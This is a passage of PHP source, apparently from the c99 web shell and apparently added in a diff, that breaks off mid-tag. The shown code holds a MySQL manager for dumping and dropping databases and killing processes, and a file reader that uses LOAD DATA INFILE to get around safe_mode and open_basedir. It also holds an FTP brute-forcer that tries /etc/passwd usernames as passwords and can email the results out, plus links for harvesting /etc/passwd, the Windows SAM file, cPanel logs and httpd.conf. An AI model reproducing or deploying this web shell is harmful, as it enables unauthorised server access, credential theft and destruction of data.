value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "[Pages]&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><b>[Edit]</b></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\">^<select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><b>[Insert]</b></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>�</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\">^<select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called redhat v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"redhat v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ �.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a 